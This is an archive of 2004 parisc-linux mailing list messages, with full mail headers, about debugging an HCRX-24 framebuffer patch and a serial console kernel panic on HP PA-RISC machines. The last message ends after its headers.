X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22071

On Tuesday 26 October 2004 09:52, Andy Walker wrote:
> Looks like CRX/HCRX is suffering from chronic bitrot, possibly exarcebated
> by the ia32/ia64-centric FB patches that have been going in lately.
> 
> So, is there anyone (Helge?) who has time and knowledge to look into
> this? I can boot the B132L with the console on Vis-EG and torture the
> HCRX24 on fb1 if that helps, but some clues would be good.

Hi Andy,

I have two problems:
a) my time is sadly absolutely limited ATM,
b) I don't have any 24bit (HCRX or similiar) card - Maybe someone does not need his (e.g. as PCI (if it exists at all), or GSC, or EISA) ?

Anyway, I'll try to look into this at the weekend but right now I have no idea.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial console brokenness
Date: Wed, 27 Oct 2004 08:16:58 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <200410270816.58792.deller@gmx.de>
References: <20041026185052.6328B494733@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623583 11577 80.91.229.3 (22 Nov 2014 02:33:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:03 +0000 (UTC)
Cc: James Bottomley <jejb@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23164 invoked by uid 65534); 27 Oct 2004 06:17:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 27 Oct 2004 08:17:54 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B8E813BDFC; Wed, 27 Oct 2004 00:17:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02267-08; Wed, 27 Oct 2004 00:17:39 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DB52B3BE26; Wed, 27 Oct 2004 00:17:13 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30FF53BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 00:17:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00863-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 00:17:09 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 5608A3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 00:17:08 -0600 (MDT)
Original-Received: (qmail 16488 invoked by uid 65534); 27 Oct 2004 06:17:06 -0000
Original-Received: from pD9FE73B5.dip.t-dialin.net (EHLO p100) (217.254.115.181)
	by mail.gmx.net (mp013) with SMTP; 27 Oct 2004 08:17:06 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <20041026185052.6328B494733@palinux.hppa>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22072

serial console is sadly still broken for me...

Linux version 2.6.9-bk6-pa4 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #98 Wed Oct 27 08:05:48 CEST 2004                         
Kernel command line: HOME=/ root=/dev/sda3 ip=bootp console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
....
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
Serial: device 0xf0105000 not configured.
Enable support for Wax, Lasi, Asp or Dino.
Serial: device 0xf0202000 not configured.
Enable support for Wax, Lasi, Asp or Dino.
Backtrace:
 [<1024b53c>] serial8250_get_divisor+0x4c/0x58
 [<1024b5ec>] serial8250_set_termios+0xa4/0x36c
 [<1045df48>] uart_set_options+0xe8/0x148
 [<1045e1c8>] serial8250_console_setup+0xb4/0xc8
 [<1012b2e0>] register_console+0x1b0/0x224
 [<1045e1f4>] serial8250_console_init+0x18/0x48
 [<1045e4b4>] serial8250_pci_init+0x20/0x30
 [<1044d4e4>] do_initcalls+0x8c/0x138
 [<10103d70>] init+0x38/0x104
 [<1010fc5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=13 regs=100ac400 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 ffffffff 1024b53c 104d5e98
r04-07  00000000 100ac2c8 00000013 103ca010
r08-11  1049d318 1034c800 00000000 1034c800
r12-15  1036f800 1034c800 104a7810 103cb010
r16-19  f000b858 00000002 00000000 00009600
r20-23  00000cb0 104d5e98 00000000 00000000
r24-27  00000000 00000000 00000000 103b1010
r28-31  00000000 1f972880 100ac400 10246324
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1020578c 10205790
 IIR: b3202000    ISR: 00000000  IOR: 10205798
 CPU:        0   CR30: 100ac000 CR31: 10444000
 ORIG_R28: 100ac540
 IAOQ[0]: $$divU+0xc/0x210
 IAOQ[1]: $$divU+0x10/0x210
 RP(r2): serial8250_get_divisor+0x4c/0x58
Kernel panic - not syncing: Kernel Fault

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: Re: [parisc-linux] Re: STI crash on B132L with HCRX-24
Date: Fri, 29 Oct 2004 22:28:14 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <200410292228.14940.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623583 11578 80.91.229.3 (22 Nov 2014 02:33:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:03 +0000 (UTC)
Cc: ajwalker@broadpark.no,
 parisc-linux@lists.parisc-linux.org
To: deller@gmx.de
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <j.raspe@t-online.de>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29921 invoked by uid 65534); 29 Oct 2004 20:28:20 -0000
Original-Received: from mailout07.sul.t-online.com (EHLO mailout07.sul.t-online.com) (194.25.134.83)
  by mx0.gmx.net (mx008) with SMTP; 29 Oct 2004 22:28:20 +0200
Original-Received: from fwd01.aul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 1CNdMC-0002XM-02; Fri, 29 Oct 2004 22:28:20 +0200
Original-Received: from ZEUS.lan.pc (SrfbeGZQZeKo2djZT-O46Zt8b05MAnE9JofFajx4qgnFGqZ4dTVZQx@[80.144.113.106]) by fwd01.sul.t-online.com
	with esmtp id 1CNdM8-0xoxf60; Fri, 29 Oct 2004 22:28:16 +0200
User-Agent: KMail/1.7
Content-Disposition: inline
X-ID: SrfbeGZQZeKo2djZT-O46Zt8b05MAnE9JofFajx4qgnFGqZ4dTVZQx
X-TOI-MSGID: f0f3b96f-d943-4340-8d46-e06000ccd253
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22073

Hi Helge,

I just noticed that I lost my text-console. Don't know if this is the patched 
stifb.c (I cant' check either :-)). The getty processes are started on tty1 
to tty6, but switching to those consoles with "CTRL+ALT+F1-6" only gives a 
black screen.
After switching system-console to graphics there are no bootmessages, I have 
to switch back to serial console to see them.
X-Server still is working fine.

Any suggestions?

Best regards Johannes

----------  Weitergeleitete Nachricht  ----------

Subject: Re: [parisc-linux] Re: STI crash on B132L with HCRX-24
Date: Freitag, 29. Oktober 2004 21:35
From: Johannes Raspe <j.raspe@t-online.de>
To: Helge Deller <deller@gmx.de>
Cc: "Andy Walker" <ajwalker@broadpark.no>, parisc-linux@lists.parisc-linux.org

Am Donnerstag, 28. Oktober 2004 23:51 schrieb Helge Deller:
> Hi,
>
> could you please test this patch to stifb.c ?
> It compiles, but is else absolutely untested....
>
> Helge

Hi Helge,

you are a wizard!!
After patching and compiling a 2.6.9-bk6-pa7-kernel it boots fine in 32bpp,
did not try 8bpp yet, but could do so if useful.
The hppa "boot-penguin" looks a little bit psychedlic but everything,
 included X-server with "DefaultDepth 24", runs fine.
Will this patch make it into the kernel tree?

Many thanks for your work

Johannes

--
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
Fingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105

-------------------------------------------------------

-- 
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
Fingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: STI crash on B132L with HCRX-24
Date: Fri, 29 Oct 2004 21:35:18 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <200410292135.19207.j.raspe@t-online.de>
References: <200410031355.12116.j.raspe@t-online.de> <200410282250.21583.deller@gmx.de> <200410282351.40342.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623583 11581 80.91.229.3 (22 Nov 2014 02:33:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:03 +0000 (UTC)
Cc: "Andy Walker" <ajwalker@broadpark.no>,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <j.raspe@t-online.de>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8021 invoked by uid 65534); 29 Oct 2004 19:35:27 -0000
Original-Received: from mailout01.sul.t-online.com (EHLO mailout01.sul.t-online.com) (194.25.134.80)
  by mx0.gmx.net (mx028) with SMTP; 29 Oct 2004 21:35:27 +0200
Original-Received: from fwd11.aul.t-online.de 
	by mailout01.sul.t-online.com with smtp 
	id 1CNcX0-0001Yo-04; Fri, 29 Oct 2004 21:35:26 +0200
Original-Received: from ZEUS.lan.pc (VygimkZdZe0iqGMiWIQoMDdqVqRQWrLcNU9aNyLpAxEN2k1Er7BMUy@[217.80.127.45]) by fwd11.sul.t-online.com
	with esmtp id 1CNcWu-205jNY0; Fri, 29 Oct 2004 21:35:20 +0200
User-Agent: KMail/1.7
In-Reply-To: <200410282351.40342.deller@gmx.de>
Content-Disposition: inline
X-ID: VygimkZdZe0iqGMiWIQoMDdqVqRQWrLcNU9aNyLpAxEN2k1Er7BMUy
X-TOI-MSGID: bd60224b-3a7c-43e7-84e1-03e24056cb80
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22074

Am Donnerstag, 28. Oktober 2004 23:51 schrieb Helge Deller:
> Hi,
>
> could you please test this patch to stifb.c ?
> It compiles, but is else absolutely untested....
>
> Helge

Hi Helge,

you are a wizard!!
After patching and compiling a 2.6.9-bk6-pa7-kernel it boots fine in 32bpp, 
did not try 8bpp yet, but could do so if useful.
The hppa "boot-penguin" looks a little bit psychedlic but everything, included 
X-server with "DefaultDepth 24", runs fine.
Will this patch make it into the kernel tree?

Many thanks for your work

Johannes

-- 
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
Fingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] Re: STI crash on B132L with HCRX-24
Date: Sat, 30 Oct 2004 01:25:11 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <200410300125.12145.deller@gmx.de>
References: <200410292228.14940.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623584 11583 80.91.229.3 (22 Nov 2014 02:33:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Johannes Raspe <j.raspe@t-online.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28674 invoked by uid 65534); 29 Oct 2004 23:26:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 30 Oct 2004 01:26:04 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BBACF3BDFC; Fri, 29 Oct 2004 17:25:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08364-06; Fri, 29 Oct 2004 17:25:39 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B09A33BDFF; Fri, 29 Oct 2004 17:25:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 597423BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Oct 2004 17:25:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08364-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Oct 2004 17:25:13 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 6F5883BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Oct 2004 17:25:12 -0600 (MDT)
Original-Received: (qmail 22302 invoked by uid 65534); 29 Oct 2004 23:25:11 -0000
Original-Received: from pD9FE73E3.dip.t-dialin.net (EHLO p100) (217.254.115.227)
	by mail.gmx.net (mp005) with SMTP; 30 Oct 2004 01:25:11 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <200410292228.14940.j.raspe@t-online.de>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22075

Hi Johannes,

On Friday 29 October 2004 22:28, Johannes Raspe wrote:
> I just noticed that I lost my text-console. Don't know if this is the patched 
> stifb.c (I cant' check either :-)). 

I don't think so.

> The getty processes are started on tty1  to tty6, but switching to those consoles 
> with "CTRL+ALT+F1-6" only gives a  black screen.

Just tested and this works for me on 8bpp with Artist-gfx on a 715/64.

> After switching system-console to graphics there are no bootmessages, I have 
> to switch back to serial console to see them.
> X-Server still is working fine. 
> 
> Any suggestions?

Do you still boot via serial console or is the cable still connected ? 
If yes, please stop at the IPL and delete the line "console=ttyS0", which is auto-appended by palo if you boot from serial console.

You wrote in another mail:
> The hppa "boot-penguin" looks a little bit psychedlic...

could you describe this more exactly. Does the colors seem exchanged (e.g. red is blue and vice-versa) ?

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] Re: STI crash on B132L with HCRX-24
Date: Sun, 31 Oct 2004 10:10:47 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <200410311010.47849.j.raspe@t-online.de>
References: <200410292228.14940.j.raspe@t-online.de> <200410300125.12145.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623584 11587 80.91.229.3 (22 Nov 2014 02:33:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:04 +0000 (UTC)
Cc: ajwalker@broadpark.no,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <j.raspe@t-online.de>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22998 invoked by uid 65534); 31 Oct 2004 09:10:58 -0000
Original-Received: from mailout11.sul.t-online.com (EHLO mailout11.sul.t-online.com) (194.25.134.85)
  by mx0.gmx.net (mx004) with SMTP; 31 Oct 2004 10:10:58 +0100
Original-Received: from fwd06.aul.t-online.de 
	by mailout11.sul.t-online.com with smtp 
	id 1COBjm-0006GY-00; Sun, 31 Oct 2004 10:10:58 +0100
Original-Received: from ZEUS.lan.pc (ZG7RnQZZQecrT0cHpzhjCPSsNVFr-isx0jY2vv6T2Kf5z9bmabi6Yw@[80.144.120.232]) by fwd06.sul.t-online.com
	with esmtp id 1COBjd-0uxsAK0; Sun, 31 Oct 2004 10:10:49 +0100
User-Agent: KMail/1.7
In-Reply-To: <200410300125.12145.deller@gmx.de>
Content-Disposition: inline
X-ID: ZG7RnQZZQecrT0cHpzhjCPSsNVFr-isx0jY2vv6T2Kf5z9bmabi6Yw
X-TOI-MSGID: 911d5363-7322-40a2-8196-1f321b8920f8
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22076

Hi Helge,

> Hi Johannes,
>
> On Friday 29 October 2004 22:28, Johannes Raspe wrote:
> > I just noticed that I lost my text-console. Don't know if this is the
> > patched stifb.c (I cant' check either :-)).
>
> I don't think so.

I had a strang idea about the text-consoles and it was right: The consoles are 
present, but they are black text on black background.
I can type in commands blindly and they are executed, but I don't see them. So 
it seems to be a minor problem with your patch I think. Somehow the colors 
got screwed up in textmode.

> > The getty processes are started on tty1  to tty6, but switching to those
> > consoles with "CTRL+ALT+F1-6" only gives a  black screen.
>
> Just tested and this works for me on 8bpp with Artist-gfx on a 715/64.
>
> > After switching system-console to graphics there are no bootmessages, I
> > have to switch back to serial console to see them.
> > X-Server still is working fine.
> >
> > Any suggestions?
>
> Do you still boot via serial console or is the cable still connected ?
> If yes, please stop at the IPL and delete the line "console=ttyS0", which
> is auto-appended by palo if you boot from serial console.

No, I changed the path to graphics in boot admin.

> You wrote in another mail:
> > The hppa "boot-penguin" looks a little bit psychedlic...
>
> could you describe this more exactly. Does the colors seem exchanged (e.g.
> red is blue and vice-versa) ?

The background of the penguin is green where it should be black. This is the  
obvious change. The rest just looks weird. If it helps I could make a picture 
of it.

> Helge

Regards Johannes

-- 
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
Fingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105



From - Thu Nov 08 21:32:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] Re: STI crash on B132L with HCRX-24
Date: Sun, 31 Oct 2004 13:12:21 +0100
Lines: 114
Approved: news@gmane.org
Message-ID: <200410311312.21653.deller@gmx.de>
References: <200410292228.14940.j.raspe@t-online.de>
	<200410300125.12145.deller@gmx.de>
	<200410311010.47849.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_laNhBbcadVbks2B"
X-Trace: ger.gmane.org 1416623584 11590 80.91.229.3 (22 Nov 2014 02:33:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Johannes Raspe <j.raspe@t-online.de>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25360 invoked by uid 65534); 31 Oct 2004 12:14:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 31 Oct 2004 13:14:31 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 06C923BDFC; Sun, 31 Oct 2004 05:14:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28394-01; Sun, 31 Oct 2004 05:14:22 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EBA753BDFD; Sun, 31 Oct 2004 05:13:55 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 257C03BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 05:13:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27295-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 05:13:51 -0700 (MST)
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 2837E3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 05:13:50 -0700 (MST)
Original-Received: (qmail 15906 invoked by uid 65534); 31 Oct 2004 12:13:47 -0000
Original-Received: from pD9FE764B.dip.t-dialin.net (EHLO p100) (217.254.118.75)
	by mail.gmx.net (mp018) with SMTP; 31 Oct 2004 13:13:47 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <200410311010.47849.j.raspe@t-online.de>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
